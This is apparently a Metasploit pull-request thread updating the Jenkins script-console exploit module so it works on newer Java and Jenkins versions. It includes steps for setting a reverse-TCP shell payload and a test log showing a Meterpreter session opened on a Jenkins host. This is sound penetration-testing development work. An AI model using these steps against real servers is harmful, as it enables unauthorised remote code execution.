Update jenkins_script_console.rb to remove deprecated sun.misc.BASE64Decoder class

[bojanisc]

Modern Java disabled the sun.misc.BASE64Decoder class so exploit will fail on any newer version of Jenkins.
The java.util.Base64 class should be used now; the change has been confirmed to work with the latest version of Jenkins (the current exploit silently fails).

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/multi/http/jenkins_script_console
• set PAYLOAD linux/x86/shell/reverse_tcp
• set RHOSTS ...
• set RPORT
• set username admin
• set API_TOKEN xxx
• run

[gwillcox-r7]

Overall looks good to me but see point about removing now non-used variable.

[gwillcox-r7]

Given that decoder is no longer needed here, it might be an idea to get rid of this variable if its no longer being used? Otherwise we are creating a variable here and filling it with random data which will take CPU time, yet the variable never gets used at all.

[gwillcox-r7]

Ah so I think the previous code edition was creating a new instance of the decoder here. Not sure that was actually needed though given we weren't using it more than once within the function so this may be a neater way to run this. Point above still stands though.

[bojanisc]

Ahh indeed, we can get rid of the decoder variable it's not used at all.
This should do it.

[smcintyre-r7]

So the new method using Base64.getDecoder requires Java version 1.8. This module has been around since 2014, so we want to make sure that the new technique is going to be backwards compatible lest older versions of Jenkins become incompatible with this exploit.

The best way to handle this would be to figure out the correct decoder to use at runtime so the user doesn't need to worry about it. Alternatively either a target or OptEnum could be used to specify the version, though the user would have to figure it out.

Could also look at removing base64 encoding altogether and properly escaping the java string literal but that is probably the most complicated solution.

[gwillcox-r7]

Looking at https://serverfault.com/questions/488745/which-java-version-should-i-run-jenkins-with shows that at a minimum for a while JDK 1.5 was required, and then in 2017 they published https://jenkins.io/blog/2017/01/17/Jenkins-is-upgrading-to-Java-8/ which stated they would be requiring a minimum of Java 8.

Long and short of it is that we shouldn't expect Base64.getDecoder to exist as whilst this will be fine for newer versions of Jenkins, it looks like its very possible that older versions wouldn't have this method. In particular OpenJDK 1.5 seems to be based off of Java 5 which won't have this method in it.

Spencer's suggestion to try detect the version of Java on the system and then use the corresponding method would probably be the best here.

[smcintyre-r7]

Resolved the API compatibility issues in 2e8e15e with some simple error handling. The result works on both Jenkins 1.565 (pushed on 2015-11-14) and Jenkins 2.60.3 (pushed on 2018-07-17). Prior to these changes, there was indeed a regression causing the module to fail on 1.565.

At this point the original problem has been resolved. I did notice another problem while testing 2.346.3 which is failing during the login process because the URI changed from j_acegi_security_check to j_spring_security_check (there may be other changes too). That was pushed up on 2022-08-10, so pretty recent. I'll open a separate ticket to track that.

@gwillcox-r7 would you mind retesting this again with the latest changes.

[gwillcox-r7]

Code changes look good to me but this will still need a run against a Jenkins server to make sure the changes work in a real world case, just to ensure the new code holds up in testing. Otherwise looks good, nice work @bojanisc!

[github-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[space-r7]

Successfully tested and changes look good to me:

msf6 exploit(multi/http/jenkins_script_console) > run

[*] Started reverse TCP handler on 192.168.140.5:4444 
[*] Checking access to the script console
[*] Authenticating with token...
[*] Using CSRF token: '08b53cc76c4f72a484ebafcf8720b5f9' (Jenkins-Crumb style)
[*] 127.0.0.1:5555 - Sending Linux stager...
[*] Sending stage (989032 bytes) to 192.168.140.5
[!] Deleting /tmp/tlVuL payload file
[*] Meterpreter session 1 opened (192.168.140.5:4444 -> 192.168.140.5:63040) at 2022-08-31 16:57:07 -0500

meterpreter > getuid
Server username: jenkins
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 9.1 (Linux 5.10.76-linuxkit)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

[space-r7]

Release Notes

This updates the exploit/multi/http/jenkins_script_console module to use the decoder from the java.util.Base64 class in place of the now-deprecated decoder from the sun.misc.BASE64Decoder class, enabling exploitation of newer Jenkins versions.